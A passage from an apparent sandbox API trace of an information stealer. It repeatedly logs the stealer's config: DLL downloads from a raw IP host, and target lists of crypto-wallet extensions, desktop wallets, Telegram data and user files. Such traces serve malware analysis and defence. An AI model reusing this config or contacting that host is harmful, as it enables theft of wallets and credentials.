Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5122 [0258.642] LocalAlloc (uFlags=0x40, uBytes=0x2804) returned 0x6bbf30 [0258.642] lstrlenW (lpString="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5122 [0258.642] LocalAlloc (uFlags=0x40, uBytes=0x2804) returned 0x6be740 [0258.642] StrStrW (lpFirst="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.643] lstrlenW (lpString="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5122 [0258.643] LocalAlloc (uFlags=0x40, uBytes=0x2884) returned 0x6e6bd0 [0258.643] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0258.644] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.644] StrStrW (lpFirst="libs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension 